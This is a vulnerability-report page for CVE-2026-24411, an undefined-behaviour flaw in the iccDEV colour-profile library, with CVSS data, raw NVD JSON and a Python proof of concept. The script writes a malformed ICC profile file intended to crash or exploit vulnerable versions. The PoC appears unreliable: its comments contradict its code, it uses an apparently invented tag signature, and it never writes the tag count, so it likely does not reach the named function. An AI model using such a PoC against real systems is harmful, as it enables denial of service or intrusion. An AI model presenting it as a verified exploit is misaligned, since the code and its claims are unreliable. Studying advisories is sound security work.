Security Vulnerability Report
中文
CVE-2026-24411 CVSS 7.1 HIGH

CVE-2026-24411

Published: 2026-01-24 02:15:49
Last Modified: 2026-01-30 18:25:01

Description

iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have Undefined Behavior in CIccTagXmlSegmentedCurve::ToXml(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:* - VULNERABLE
iccDEV <= 2.3.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-24411 PoC - Malformed ICC Profile Triggering Undefined Behavior in CIccTagXmlSegmentedCurve::ToXml() This PoC demonstrates the vulnerability by creating a malformed ICC profile with crafted XML Segmented Curve data that triggers undefined behavior. """ import struct import os def create_malformed_icc_profile(): """ Create a minimal ICC profile with malformed CIccTagXmlSegmentedCurve data to trigger undefined behavior in ToXml() method. """ # ICC Profile Header (128 bytes) header = bytearray(128) # Profile size (will be updated) struct.pack_into('>I', header, 0, 0) # Preferred CMM Type (little-endian 'lcms') header[4:8] = b'lcms' # Profile Version struct.pack_into('>I', header, 8, 0x02400000) # Profile Device Class (input device - 'scnr') header[12:16] = b'scnr' # Color Space (RGB - 'RGB ') header[16:20] = b'RGB ' # PCS (Profile Connection Space - Lab - 'Lab ') header[20:24] = b'Lab ' # Date (seconds since 1/1/1970) struct.pack_into('>I', header, 24, 0x5F000000) # Profile File Signature ('acsp') header[36:40] = b'acsp' # Primary Platform (Mac OS - 'MSFT') header[40:44] = b'MSFT' # Profile Flags struct.pack_into('>I', header, 44, 0) # Device Manufacturer header[48:52] = b'TEST' # Device Model header[52:56] = b'TEST' # Device Attributes struct.pack_into('>Q', header, 56, 0) # Rendering Intent struct.pack_into('>I', header, 64, 0) # PCS Illuminant (D50 XYZ - 0.9642, 1.0, 0.8249) struct.pack_into('>I', header, 68, int(0.9642 * 65536)) struct.pack_into('>I', header, 72, int(1.0 * 65536)) struct.pack_into('>I', header, 76, int(0.8249 * 65536)) # Profile Creator header[80:84] = b'TEST' # Profile MD5 (placeholder) header[84:100] = b'\x00' * 16 # Tag Count tag_count = 1 # Tag Table tag_table = bytearray() # Malformed XML Segmented Curve tag 'mluc' with invalid data # Tag signature for XML Segmented Curve tag_sig = b'xmls' # XML Segmented Curve signature # Create malformed tag data # This triggers undefined behavior when parsed by ToXml() malformed_data = bytearray() # Invalid offset/size values to trigger UB malformed_data += struct.pack('>I', 0xFFFFFFFF) # Invalid offset malformed_data += struct.pack('>I', 0xFFFFFFFF) # Invalid count malformed_data += b'<invalid_xml>\x00' * 100 # Malformed XML # Pad to 4-byte alignment while len(malformed_data) % 4 != 0: malformed_data += b'\x00' # Tag data offset (after header + tag table) data_offset = 128 + (tag_count * 12) # Add tag entry tag_table += tag_sig tag_table += struct.pack('>I', data_offset) tag_table += struct.pack('>I', len(malformed_data)) # Combine all parts profile = header + tag_table + malformed_data # Update profile size struct.pack_into('>I', profile, 0, len(profile)) return bytes(profile) def main(): """Generate and save the malformed ICC profile.""" print("[*] Generating malformed ICC profile for CVE-2026-24411") print("[*] Target: CIccTagXmlSegmentedCurve::ToXml()") malformed_profile = create_malformed_icc_profile() output_file = "cve_2026_24411_poc.icc" with open(output_file, 'wb') as f: f.write(malformed_profile) print(f"[+] Malformed ICC profile saved to: {output_file}") print(f"[+] File size: {len(malformed_profile)} bytes") print("[!] This file can trigger undefined behavior when processed by iccDEV < 2.3.1.2") print("[!] Use with vulnerable iccDEV application to trigger the vulnerability") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24411", "sourceIdentifier": "[email protected]", "published": "2026-01-24T02:15:49.223", "lastModified": "2026-01-30T18:25:00.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides libraries and tools for interacting with, manipulating, and applying ICC color management profiles. Versions 2.3.1.1 and below have Undefined Behavior in CIccTagXmlSegmentedCurve::ToXml(). This occurs when user-controllable input is unsafely incorporated into ICC profile data or other structured binary blobs. Successful exploitation may allow an attacker to perform DoS, manipulate data, bypass application logic and Code Execution. This issue has been fixed in version 2.3.1.2."}, {"lang": "es", "value": "iccDEV proporciona librerías y herramientas para interactuar con, manipular y aplicar perfiles de gestión de color ICC. Las versiones 2.3.1.1 y anteriores tienen Comportamiento Indefinido en CIccTagXmlSegmentedCurve::ToXml(). Esto ocurre cuando la entrada controlable por el usuario se incorpora de forma insegura en datos de perfiles ICC u otros blobs binarios estructurados. Una explotación exitosa puede permitir a un atacante realizar DoS, manipular datos, eludir la lógica de la aplicación y la Ejecución de Código. Este problema ha sido solucionado en la versión 2.3.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-690"}, {"lang": "en", "value": "CWE-758"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.2", "matchCriteriaId": "D34CF745-E75A-4F1C-AD7B-9AC1A2E9F680"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/commit/d6d6f51a999d4266ec09347cac7e0930d6e02eec", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/499", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-x53f-7h27-9fc8", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}